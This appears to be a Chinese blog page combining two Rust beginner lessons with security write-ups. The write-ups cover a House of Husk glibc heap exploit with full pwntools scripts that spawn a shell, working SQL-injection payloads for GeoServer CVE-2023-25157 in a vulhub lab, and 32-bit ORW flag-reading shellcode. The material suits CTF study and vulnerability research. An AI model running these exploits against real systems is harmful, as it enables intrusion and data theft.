Ky不是枕木

分享学习经验

对应代码文件:src/bin/02_data_types.rs
运行命令:

1
cargo run --bin lesson02_data_types

学习目标

本篇整理 Rust 的标量类型、元组、数组、类型标注、解构和调试格式输出。重点是理解单个值和一组值的表达方式。
学完这一节后,你应该能读懂本节源码,并能独立完成文末练习。

完整源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
fn main() {
// 标量类型:整数、浮点数、布尔值、字符。
let age: u8 = 20;
let price: f64 = 19.99;
let is_active: bool = true;
let chinese_char: char = '中';
println!("age={age}, price={price}, active={is_active}, char={chinese_char}");

// 元组可以组合不同类型,适合表示固定长度的一组值。
let student: (&str, u8, bool) = ("Kylin", 20, true);
let (name, student_age, enrolled) = student;
println!("name={name}, age={student_age}, enrolled={enrolled}");
println!("也可以用索引访问元组: {}", student.0);

// 数组长度固定,所有元素类型相同。
let scores: [i32; 3] = [90, 85, 88];
println!("第一门成绩: {}", scores[0]);

// [value; len] 可以快速创建重复值数组。
let zeros = [1; 5];
println!("重复数组: {zeros:?}");
}

逐段解读

标量类型

u8 是无符号 8 位整数,f64 是 64 位浮点数,bool 表示真假,char 表示 Unicode 字符。

格式字符串

println! 可以在字符串中直接写 {age}{price} 等变量名,便于观察多个值。

元组

let student: (&str, u8, bool) 定义元组。元组能组合不同类型,适合固定长度的小型数据组合。

解构和索引

let (name, student_age, enrolled) = student; 是解构。student.0 使用点号索引访问元组字段。

数组

let scores: [i32; 3] 定义固定长度数组。数组所有元素类型相同,长度不能动态增长。

调试格式

{:?} 是调试输出格式。数组等复合数据通常用 :? 打印。

初学者拓展

Rust 是静态类型语言。编译器经常能推断类型,但初学阶段显式写类型有助于理解。

i 开头的整数类型可以有负数,u 开头的整数类型只能非负。usize 常用于索引和长度。

数组长度固定。后面学到的 Vec 可以动态增长。固定长度用数组,长度变化用 Vec

常见误区

  • 不要把 Rust 的 char 理解成单字节字符。它能表示中文等 Unicode 字符。
  • 不要以为数组可以 push。数组长度固定,不能追加元素。
  • 不要滥用元组保存复杂业务数据。字段一多,.0.1 会降低可读性。

进阶练习与参考答案

练习 1:为学生元组增加成绩字段

要求:把 student 扩展为 (姓名, 年龄, 是否在读, 成绩),然后解构并打印。

参考答案:

1
2
3
let student: (&str, u8, bool, u32) = ("Kylin", 20, true, 95);
let (name, age, enrolled, score) = student;
println!("{name}, 年龄 {age}, 在读: {enrolled}, 成绩: {score}");

解释:元组可以组合不同类型,但字段越多越难读。真实项目中更推荐用结构体表达学生信息。

练习 2:计算数组平均分

要求:给定成绩数组 [90, 85, 88],计算总分和平均分。平均分保留为 f64

参考答案:

1
2
3
4
let scores: [i32; 3] = [90, 85, 88];
let sum: i32 = scores[0] + scores[1] + scores[2];
let average: f64 = sum as f64 / scores.len() as f64;
println!("总分: {sum}, 平均分: {average}");

解释:整数相除会得到整数结果。计算平均分时,要先把整数转成浮点数。

相关笔记

对应代码文件:src/bin/01_variables_mutability.rs
运行命令:

1
cargo run --bin lesson01_variables_mutability

学习目标

本篇整理 Rust 的变量规则:默认不可变、mut、shadowing 和 const。这些规则决定了一个值能不能被修改,也是后续学习所有权和借用的基础。
学完这一节后,你应该能读懂本节源码,并能独立完成文末练习。

完整源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
fn main() {
// Rust 变量默认不可变。不可变能减少意外修改,让代码更容易推理。
let language = "Rust";
println!("正在学习: {language}");

// 如果需要修改变量,必须显式写 mut。
let mut score = 0;
score += 10;
println!("当前分数: {score}");

// shadowing(遮蔽)会创建一个新的同名变量,不要求原变量是 mut。
// 常用于把一个值转换成另一种形式。
let spaces = " ";
let spaces = spaces.len();
println!("空格数量: {spaces}");

// const 是编译期常量,必须写类型,通常使用全大写命名。
const MAX_POINTS: u32 = 100;
println!("满分: {MAX_POINTS}");
}

逐段解读

不可变变量

let language = "Rust"; 创建不可变变量。默认不可变能减少状态变化,读代码时只要没看到 mut,就能判断它不会被重新赋值。

格式化输出

println!("正在学习: {language}"); 使用格式化输出。println! 是宏,{language} 会把变量值插入到字符串中。

可变变量

let mut score = 0; 创建可变变量。只有显式写 mut,Rust 才允许执行 score += 10; 这类修改操作。

Shadowing

let spaces = " "; let spaces = spaces.len(); 创建新的同名变量。第一个是 &str,第二个是长度 usize,类型可以变化。

常量

const MAX_POINTS: u32 = 100; 定义编译期常量。常量必须写类型,通常使用全大写加下划线命名。

初学者拓展

mut 表示同一个变量的值会变。shadowing 表示重新创建一个同名变量。前者强调状态变化,后者强调计算转换。

如果值只是从一种形式转换到另一种形式,例如字符串转数字,shadowing 通常更自然。如果值会持续累计,例如分数,mut 更直接。

const 适合保存规则,例如最大分数、默认端口和及格线。它不能保存运行时才知道的结果。

常见误区

  • 不要以为 let 声明的变量都能修改。Rust 默认不可变,修改变量必须写 mut
  • 不要把 shadowing 理解成偷偷修改变量。它是新的绑定,只是名字相同。
  • 不要把 const 当普通变量。常量必须能在编译期确定,并且必须显式写类型。

进阶练习与参考答案

练习 1:区分不可变变量和可变变量

要求:新增变量 level,初始值为 1。先尝试不加 mut 修改它,再改成正确写法。

参考答案:

1
2
3
let mut level = 1;
level += 1;
println!("当前等级: {level}");

解释:如果写成 let level = 1; level += 1;,编译器会报错。加上 mut 后,Rust 才允许修改同一个变量。

练习 2:用 shadowing 完成类型转换

要求:定义字符串 "42",再用 shadowing 把它转换成整数,并打印加 8 后的结果。

参考答案:

1
2
3
let number = "42";
let number: i32 = number.parse().expect("必须是数字");
println!("计算结果: {}", number + 8);

解释:第一个 number&str,第二个 numberi32。shadowing 适合表达“同一个语义的值经过转换”。

相关笔记

House Of Husk

前言:在打PolarCTF2023 冬季个人挑战赛时遇到一个堆题,题目叫做easy_str,一开始以为是个格式化字符串题目,但实际上是个堆题,题目也很特殊,只能申请大小大于0x500的chunk,特此赛后复盘学习以下该题目,以及这个题目所用到的技巧

攻击原理

这种攻击方式主要是利用了printf的一个调用链,应用场景是只能分配较大chunk时(超过fastbin),存在或可以构造出UAF漏洞。

首先从源码角度简单分析攻击背后的原理。在使用printf类格式化字符串函数进行输出的时候,该类函数会根据我们格式化字符串的种类不同而采取不同的输出格式进行输出,在glibc中有这样一个函数__register_printf_function,为格式化字符为spec的格式化输出注册函数,这个函数是__register_printf_specifier函数的封装。

跟进__register_printf_specifier函数,如果格式化符超过0xff或小于0,即不在ascii码则返回-1,如果__printf_arginfo_table为空就通过calloc分配堆内存存放__printf_arginfo_table以及__printf_function_table。两个表空间都为0x100,可以为0-0xff的每个字符注册一个函数指针,第一个表后面紧接着第二个表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
/* Register FUNC to be called to format SPEC specifiers.  */
int
__register_printf_function (int spec, printf_function converter,
printf_arginfo_function arginfo)
{
return __register_printf_specifier (spec, converter,
(printf_arginfo_size_function*) arginfo);
}
/* Register FUNC to be called to format SPEC specifiers. */
int
__register_printf_specifier (int spec, printf_function converter,
printf_arginfo_size_function arginfo)
{
if (spec < 0 || spec > (int) UCHAR_MAX)
{
__set_errno (EINVAL);
return -1;
}

int result = 0;
__libc_lock_lock (lock);

if (__printf_function_table == NULL)
{
__printf_arginfo_table = (printf_arginfo_size_function **)
calloc (UCHAR_MAX + 1,sizeof (void *) * 2);
if (__printf_arginfo_table == NULL)
{
result = -1;
goto out;
}

__printf_function_table = (printf_function **)
(__printf_arginfo_table + UCHAR_MAX + 1);
}

__printf_function_table[spec] = converter;
__printf_arginfo_table[spec] = arginfo;

out:
__libc_lock_unlock (lock);

return result;
}

__printf_function_tablespec索引处的类型为printf_function的函数指针是我们为chr(spec)这个格式化字符注册的输出函数的函数指针,这个函数在printf->vfprintf->printf_positional中被调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
/* Type of a printf specifier-handler function.
STREAM is the FILE on which to write output.
INFO gives information about the format specification.
ARGS is a vector of pointers to the argument data;
the number of pointers will be the number returned
by the associated arginfo function for the same INFO.
The function should return the number of characters written,
or -1 for errors. */
typedef intprintf_function (FILE *__stream,
conststruct printf_info *__info,
const void *const *__args);

//glibc-2.27/vfprintf.c:1985
extern printf_function **__printf_function_table;
int function_done;

if (spec <= UCHAR_MAX
&& __printf_function_table != NULL
&& __printf_function_table[(size_t) spec] != NULL)
{
const void **ptr = alloca (specs[nspecs_done].ndata_args
*sizeof (const void *));

/* Fill in an array of pointers to the argument values. */
for (unsigned int i = 0; i < specs[nspecs_done].ndata_args;
++i)
ptr[i] = &args_value[specs[nspecs_done].data_arg + i];

/* Call the function. */
function_done = __printf_function_table[(size_t) spec]
(s, &specs[nspecs_done].info, ptr);

if (function_done != -2)
{
/* If an error occurred we don't have information
about # of chars. */
if (function_done < 0)
{
/* Function has set errno. */
done = -1;
goto all_done;
}

done_add (function_done);
break;
}
}

__printf_arginfo_tablespec索引处的类型为printf_arginfo_size_function的函数指针是我们为chr(spec)这个格式化字符注册的输出函数的另一个函数指针,这个函数在printf->vfprintf->printf_positional->__parse_one_specmb中被调用。可以看到其返回值为格式化字符消耗的参数个数,猜测其功能是根据格式化字符做解析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
/* Type of a printf specifier-arginfo function.
INFO gives information about the format specification.
N, ARGTYPES, *SIZE has to contain the size of the parameter for
user-defined types, and return value are as for parse_printf_format
except that -1 should be returned if the handler cannot handle
this case. This allows to partially overwrite the functionality
of existing format specifiers. */
typedef intprintf_arginfo_size_function (conststruct printf_info *__info,
size_t __n, int *__argtypes,
int *__size);

//glibc-2.27/printf-parsemb.c:307

/* Get the format specification. */
spec->info.spec = (wchar_t) *format++;
spec->size = -1;
if (__builtin_expect (__printf_function_table == NULL, 1)
|| spec->info.spec > UCHAR_MAX
|| __printf_arginfo_table[spec->info.spec] == NULL
/* We don't try to get the types for all arguments if the format
uses more than one. The normal case is covered though. If
the call returns -1 we continue with the normal specifiers. */
|| (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
(&spec->info, 1, &spec->data_arg_type,
&spec->size)) < 0)
{
/* Find the data argument types of a built-in spec. */
spec->ndata_args = 1;

structprintf_spec
{
/* Information parsed from the format spec. */
structprintf_infoinfo;
/* Pointers into the format string for the end of this format
spec and the next (or to the end of the string if no more). */
const UCHAR_T *end_of_fmt, *next_fmt;
/* Position of arguments for precision and width, or -1 if `info' has
the constant value. */
int prec_arg, width_arg;
int data_arg; /* Position of data argument. */
int data_arg_type; /* Type of first argument. */
/* Number of arguments consumed by this format specifier. */
size_t ndata_args;
/* Size of the parameter for PA_USER type. */
int size;
};

此外,在vfprintf函数中如果检测到我们注册的table不为空,则对于格式化字符不走默认的输出函数而是调用printf_positional函数,进而可以调用到表中的函数指针。

至此,两个调用链的分析就完成了,我们再来结合poc分析一下今天要谈论的攻击方式是如何和printf结合的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//glibc-2.27/vfprintf.c:1335
/* Use the slow path in case any printf handler is registered. */
if (__glibc_unlikely (__printf_function_table != NULL
|| __printf_modifier_table != NULL
|| __printf_va_arg_table != NULL))
goto do_positional;

/* Hand off processing for positional parameters. */

do_positional:
if (__glibc_unlikely (workstart != NULL))
{
free (workstart);
workstart = NULL;
}
done = printf_positional (s, format, readonly_format, ap, &ap_save,
done, nspecs_done, lead_str_end, work_buffer,
save_errno, grouping, thousands_sep);

poc分析

这里使用的poc就直接用攻击发现者提供的源代码,运行环境为ubuntu 18.04/glibc 2.27,编译命令为gcc ./poc.c -g -fPIE -no-pie -o poc(关闭pie方便调试)。

代码模拟了UAF漏洞,先分配一个超过fastbin的块,释放之后会进入unsorted bin。预先分配两个chunk,第一个用来伪造__printf_function_table,第二个用来伪造__printf_arginfo_table。将__printf_arginfo_table['X']处的函数指针改为one_gadget

使用unsorted bin attack改写global_max_fastmain_arena+88从而使得释放的所有块都按fastbin处理(都是超过large bin大小的堆块不会进tcache)。

在这里有一个很重要的知识就是fastbin的堆块地址会存放在main_arena中,从main_arena+8开始存放fastbin[0x20]的头指针,一直往后推,由于平时的fastbin默认阈值为0x80,所以在glibc-2.23的环境下最多存放到main_arena+0x48,现在我们将阈值改为0x7f*导致几乎所有sz的chunk都被当做fastbin,其地址会从main_arena+8开始,根据sz不同往libc覆写堆地址。如此一来,只要我们计算好__printf_arginfo_tablemain_arena的地址偏移,进而得到合适的sz,就可以在之后释放这个伪造table的chunk时覆写__printf_arginfo_tableheap_addr。这种利用方式在*CTF2019->heap_master的题解中我曾经使用过,详情可以参见Star CTF heap_master的1.2.4.3

有了上述知识铺垫,整个攻击流程就比较清晰了,总结一下,先UAF改global_max_fast为main_arena+88,之后释放合适sz的块到fastbin,从而覆写__printf_arginfo_table表为heap地址,heap['X']被覆写为了one_gadget,在调用这个函数指针时即可get shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
/**
* This is a Proof-of-Concept for House of Husk
* This PoC is supposed to be run with libc-2.27.
*/
#include <stdio.h>#include <stdlib.h>#define offset2size(ofs) ((ofs) * 2 - 0x10)
#define MAIN_ARENA 0x3ebc40
#define MAIN_ARENA_DELTA 0x60
#define GLOBAL_MAX_FAST 0x3ed940
#define PRINTF_FUNCTABLE 0x3f0658
#define PRINTF_ARGINFO 0x3ec870
#define ONE_GADGET 0x10a38c

intmain (void)
{
unsigned long libc_base;
char *a[10];
setbuf(stdout, NULL); // make printf quiet

/* leak libc */
a[0] = malloc(0x500); /* UAF chunk */
a[1] = malloc(offset2size(PRINTF_FUNCTABLE - MAIN_ARENA));
a[2] = malloc(offset2size(PRINTF_ARGINFO - MAIN_ARENA));
a[3] = malloc(0x500); /* avoid consolidation */
free(a[0]);
libc_base = *(unsigned long*)a[0] - MAIN_ARENA - MAIN_ARENA_DELTA;
printf("libc @ 0x%lxn", libc_base);

/* prepare fake printf arginfo table */
*(unsigned long*)(a[2] + ('X' - 2) * 8) = libc_base + ONE_GADGET;
//*(unsigned long*)(a[1] + ('X' - 2) * 8) = libc_base + ONE_GADGET;
//now __printf_arginfo_table['X'] = one_gadget;

/* unsorted bin attack */
*(unsigned long*)(a[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10;
a[0] = malloc(0x500); /* overwrite global_max_fast */

/* overwrite __printf_arginfo_table and __printf_function_table */
free(a[1]);// __printf_function_table => a heap_addr which is not NULL
free(a[2]);//__printf_arginfo_table => one_gadget

/* ignite! */
printf("%X", 0);

return 0;
}

动态分析

glibc的调试我们用的比较多了,在涉及到库函数的时候最好结合源码进行调试,在glibc下载这里下载源码,解压之后使用directory添加源码目录

1
2
3
4
b* 0x400774
directory ~/Desktop/CTF/glibc-2.27/stdio-common
r
parseheap

在printf下断点,可以看到此时__printf_arginfo_table伪造完成,我们使用rwatch *0x60be50下内存断点,继续运行。

image.png

单步进入si进入printf

image.png

下一个调用函数

下一步调用

image.png

可以看到运行到了__parse_one_specmb函数,再跟进两步,发现最终调用了rax寄存器里的 one_gadget

image.png

image.png

扩展

当然,除了覆写第二个table外,改第一个一样可以get shell,流程和调试我们已经讲的差不多了,这里只需把one_gadget赋值代码改为*(unsigned long*)(a[1] + ('X' - 2) * 8) = libc_base + ONE_GADGET;即可,我们用同样方式在gdb下调试poc并设置硬件断点

continue继续,可以看到在printf_positional断住,跟进两步,最终调用了rax里的`one_gadget

例题: PolarCTF2023 冬季个人挑战赛 easy_str

查看题目信息**

1
$file easy_str$checksec easy_str

利用 unsorted bin attackglobal_max_fast 改为 main_arena->top,后面释放的 chunk 会进入 fastbinY 数组。通过 fastbinY 越界利用将__printf_arginfo_table 对应的 spec 改为 one_gadget。最后通过调用 printf("%X",0) 来触发 one_gadget

1
2
3
4
5
6
def get_shell():    
edit(0, p64(libc_addr+0x3ed940-0x10)*2)
edit(2, b'a'*((0x58-2)*8) + p64(libc_addr+0x10a2fc))
add(0x500) # 4
dele(2)
dele(1)

EXP**

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#pwn()

#远程
from pwn import *

context.terminal = ['tmux', 'splitw', '-h']
context.binary = './easy_str.easy_str'
context.log_level = 'debug'

# io = remote('120.46.59.242', 2131)
io = process('./easy_str.easy_str')
elf = ELF('./easy_str.easy_str')
libc = ELF('./libc-2.27.so')
one_gadgets = [0x4f2a5, 0x4f302, 0x10a2fc]

def debug(gdbscript="", stop=False):
if isinstance(io, process):
gdb.attach(io, gdbscript=gdbscript)
if stop:
pause()

stop = pause
S = pause
leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))
s = io.send
sl = io.sendline
sla = io.sendlineafter
sa = io.sendafter
slt = io.sendlinethen
st = io.sendthen
r = io.recv
rn = io.recvn
rr = io.recvregex
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
rs = io.recvlines
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains
ia = io.interactive
ic = io.close
cr = io.can_recv

def cmd(i):
sla(b'choice: \\n', i)

def add(size):
cmd(b'1')
sla(b'size:\\n', str(size).encode())

def edit(idx, content):
cmd(b'2')
sla(b'id:\\n', str(idx).encode())
sl(content)

def show(idx):
cmd(b'3')
sla(b'id:\\n', str(idx).encode())
ru(b'output\\n')

def dele(idx):
cmd(b'4')
sla(b'id:\\n', str(idx).encode())

def get_libc():
global libc_addr
add(0x500) # 0
add(0x4af8*2-0x10) # 1
add(0xC30*2-0x10) # 2
add(0x500) # 3

dele(0)
show(0)

libc_addr = u64(r(6).ljust(0x8, b'\\x00'))-0x3ebca0
leak("libc_addr", libc_addr)
leak("onegadget", libc_addr+0x10a2fc)

def get_shell():
edit(0, p64(libc_addr+0x3ed940-0x10)*2)
edit(2, b'a'*((0x58-2)*8) + p64(libc_addr+0x10a2fc)) #这里打2打1都可以
add(0x500) # 4
dele(2)
dele(1)

def pwn():
get_libc()
get_shell()
ia()

if __name__ == '__main__':
pwn()

打本地,我的libc版本是2.27-3ubuntu1_amd64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from pwn import *
from LibcSearcher import LibcSearcher
context(log_level = "debug",arch = "amd64")
file_name='./easy_str.easy_str'
ld_name='/mnt/e/CTF/PWN/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so'
# libc_name='/mnt/e/CTF/PWN/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6'
libc_name = './libc-2.27.so'

def connect():
global p,elf,libc
local = 0
if local:
# p = process([ld_name, file_name], env={"LD_PRELOAD":libc_name})
p = process(file_name)
else:
p = remote("120.46.59.242",2131 )
elf = ELF(file_name)
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("/mnt/e/CTF/PWN/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
# libc = ELF(libc_name)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda n :p.recv(n)
rl = lambda n :p.recvline(n)
ru = lambda x :p.recvuntil(x, drop = True)
r = lambda x :p.recv(x)
uu64 = lambda :u64(p.recvuntil(b'\\x7f')[-6:].ljust(8,b'\\x00'))
itr = lambda :p.interactive()
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))

def dbg(addr):
gdb.attach(sh,'b *0x{}\\nc\\n'.format(addr))

def db():
gdb.attach(p)

def meau(idx):
ru("choice: \\n")
sl(str(idx))

def edit(idx,content):
meau(2)
sla("id:\\n",str(idx))
s(content)

def add(size):
meau(1)
sla("size:\\n",str(size))

def show(idx):
meau(3)
sla("id:",str(idx))

def delete(idx):
meau(4)
sla("id:",str(idx))

#define offset2size(ofs) ((ofs) * 2 - 0x10)
MAIN_ARENA = 0x3ebc40
MAIN_ARENA_DELTA = 0x60
GLOBAL_MAX_FAST = 0x3ed940
PRINTF_FUNCTABLE = 0x3f0658
PRINTF_ARGINFO = 0x3ec870
ONE_GADGET = 0x10a38c

def pwn():
add(0x500) #0
add((PRINTF_FUNCTABLE-MAIN_ARENA)*2-0x10) #1
add((PRINTF_ARGINFO-MAIN_ARENA)*2-0x10) #2
add(0x500) #3

delete(0)
show(0)
ru("output\\n")

libc_base = u64(p.recv(6).ljust(8,b'\\x00')) - MAIN_ARENA - MAIN_ARENA_DELTA
lg("libc_base",libc_base)

pay0 = p64(0)*86 + p64(libc_base+ONE_GADGET)
edit(2,pay0)

#修改global_max_fast
pay1 = p64(0) + p64(libc_base + GLOBAL_MAX_FAST-0x10)
edit(0,pay1)
add(0x500) #0

delete(2)
delete(1)

# meau(666)
# db()
p.interactive()

GeoServer SQL 注入漏洞分析(CVE-2023-25157)

一.GeoServer简介

GeoServer 是用 Java 编写的开源软件服务器,它提供了查看、编辑和共享地理空间数据的功能。它旨在成为一种灵活、高效的解决方案,用于分发来自各种来源(如地理信息系统 (GIS) 数据库、基于 Web 的数据和个人数据集)的地理空间数据。

二.漏洞简述

在 2.22.1 和 2.21.4 之前的版本中,在开放地理空间联盟 (OGC) 标准定义的过滤器和函数表达式中发现了一个 SQL 注入问题,未经身份验证的攻击者可以利用该漏洞进行SQL注入,执行恶意代码。

三.漏洞原理

由于系统未对用户输入进行过滤,远程未授权攻击者可以构造特定语句绕过GeoServer的词法解析,从而实现SQL注入,成功利用此漏洞可获取敏感信息,甚至可能获取数据库服务器权限。由于GeoServer在默认配置下内置图层存放数据在文件中,则未使用外置数据库的场景不受此漏洞影响。

四.影响版本

GeoServer 2.20.x < 2.20.7
GeoServer 2.19.x < 2.19.7
GeoServer 2.18.x < 2.18.7
GeoServer 2.21.x < 2.21.4
GeoServer 2.22.x < 2.22.2

五.环境搭建

在kali的docker中搭建vulhub进行漏洞复现

clone项目:

sudo git clone https://github.com/vulhub/vulhub.git

Untitled 1.png

在/geoserver/CVE-2023-25157目录,用下面的命令下载并启动:

sudo docker-compose up -d

Untitled 2.png

Untitled 3.png

看到端口,这里是8080。

在浏览器上访问http://your-ip:8080/geoserver

进入环境,说明配置成功了,接下来就可以开始愉快的漏洞复现了:

Untitled 4.png

此时复现的系统版本为2.22.1

以下是采用官方给的文档搭建的环境

在这里使用 GeoServer 2.21.3,下载完成后解压:

1
unzip geoserver-2.21.3-bin.zip

进入到 geoserver-2.21.3-bin/bin 目录下,执行启动程序

1
sh startup.sh

Untitled 4.png

Untitled 5.png

使用 Docker 搭建 PostgreSQL

1
docker run -e POSTGRES_PASSWORD=password -d -p 5433:5432  postgres:latest

进入容器

Untitled 6.png

安装 postgis 拓展

1
2
3
apt search postgis

apt install postgis postgresql-14-postgis-3-scripts

Untitled 7.png

Untitled 8.png

postgresql-14-postgis-3-scripts 要根据你 PostgreSQL 来安装,本次使用到的 PostgreSQL 为 PostgreSQL 14.1

此时数据可参考官方文档:https://docs.geoserver.org/latest/en/user/gettingstarted/postgis-quickstart/index.html

编辑 startup.sh 启动脚本添加远程调试参数:

1
exec "${_RUNJAVA}" ${JAVA_OPTS:--DNoJavaOpts -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005} "${MARLIN_ENABLER:--DMarlinDisabled}" "${RENDERER:--DDefaultrenderer}" "-Djetty.base=${GEOSERVER_HOME}" "-DGEOSERVER_DATA_DIR=${GEOSERVER_DATA_DIR}" -Djava.awt.headless=true -DSTOP.PORT=8079 -DSTOP.KEY=geoserver -jar "${GEOSERVER_HOME}/start.jar"

至此环境搭建结束。

六.漏洞分析

这里采用vulnhub环境进行复现

为了正确利用这些漏洞,首先需要获得:

  1. 可用的功能名称
  2. 每个可用功能的可用属性

分别。因此,以下请求发送到目标服务器以获取可用的功能名称。

1
2
3
4
5
6
GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close

获取可用功能名称后,我们需要发送以下 HTTP 请求来获取相关可用功能的可用属性。

1
2
3
4
5
6
GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=<nameOftheAvailabeFeatureHere>=strStartsWith%28<nameOftheAvailabePropertyHere>%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close

枚举所有可用的功能名称以及与这些功能名称关联的属性名称。在此阶段之后,可以通过将 SQL 有效负载注入的恶意 HTTP 请求发送到服务器以获取任何获取的属性来执行利用过程。

1
2
3
4
5
6
GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=<nameOftheAvailabeFeatureHere>=strStartsWith%28<nameOftheAvailabePropertyHere>%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close

1利用前提
首先,在利用此漏洞之前,必须找到包含 PostGIS 数据存储的现有工作空间。Vulhub的GeoServer实例已经有一个PostGIS数据存储:

工作区名称 vulhub
数据存储名称 pg
要素类型(表)名称 example
要素类型的属性之一 name
1
2
3
4
GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=<nameOftheAvailabeFeatureHere>&maxFeatures=1&outputFormat=json HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept-Encoding: gzip, deflate

构造payload/poc

http://192.168.126.128:8080/geoserver/ows?service=WFS&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=strStartsWith(name,’x’’) = true and 1=(SELECT CAST ((SELECT version()) AS integer)) – ‘) = true

Untitled 9.png

成功注入获取版本信息。

Untitled 10.png

使用wireshark抓包结果如下

Untitled 11.png

脚本演示

Untitled 12.png

Untitled 13.png

七.漏洞修复

目前 GeoServer 和 Geotools 官方均已发布修复版本,查看 GeoServer 官方提交的补丁,在 src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java 中添加了模块org.geoserver.jdbcloader.JDBCLoaderProperties 模块用于配置文件 jdbcconfig/jdbcconfig.properties中的 JDBCConfig 模块属性字段并更改了构造函数以包含此属性字段。

Untitled 14.png

Untitled 15.png

还修改了

 src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/OracleDialect.java 中的插入语法

Untitled 16.png

而在 GeoTools 提交的补丁,修改 

modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java 添加了EscapeSql 模块和 escapeBackslash 字段对 SQL 注入进行防御

Untitled 17.png

Untitled 18.png

Untitled 19.png

八.漏洞总结

总之,正如 CVE-2023-25157 所概述的那样,在 GeoServer 和 GeoTools 中发现这些 SQL 注入漏洞,清楚地提醒人们数字环境中始终存在的威胁。这些漏洞位于核心 OGC 筛选器和函数表达式中,可能导致重大中断和未经授权的数据访问或修改。

九.参考资料

https://github.com/murataydemir/CVE-2023-25157-and-CVE-2023-25158

https://docs.geoserver.org/latest/en/user/introduction/overview.html

CVE-2023-25157:GeoServer OGC Filter SQL注入漏洞复现_geoserver最新版本_gaynell的博客-CSDN博客

最近复现强网杯2021赛题[shellcode]有感,特意来学习一下有关orw原理中缺少某些函数的情况如何进行ORW
禁用沙箱规则我在之前提到过 [[prctl-seccomp]]
参考了大佬!https://www.jianshu.com/p/754b0a2ae353

普通 ORW

  1. 32 位

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    ; "/home/orw/flag\x00" 保存到栈上
    ; 小端序
    ; 要注意给字符串结尾加上 '\x00'
    push 0x006761
    push 0x6c662f77
    push 0x726f2f65
    push 0x6d6f682f
    ; open("/home/orw/flag", O_RDONLY)
    ; #define O_RDONLY 0
    mov eax,5 ; open() 系统调用号是 5
    mov ebx,esp ; "/home/orw/flag"
    xor ecx,ecx ; O_RDONLY = 0
    xor edx,edx
    int 0x80 ; int 80h 会报错
    ; 返回 fd 保存到 eax 中

    ; read(fd, buf, count)
    mov ebx,eax ; fd
    mov eax,3 ; read() 的系统调用号是 3
    mov ecx,esp ; buf
    mov edx,0x30 ; count
    int 0x80

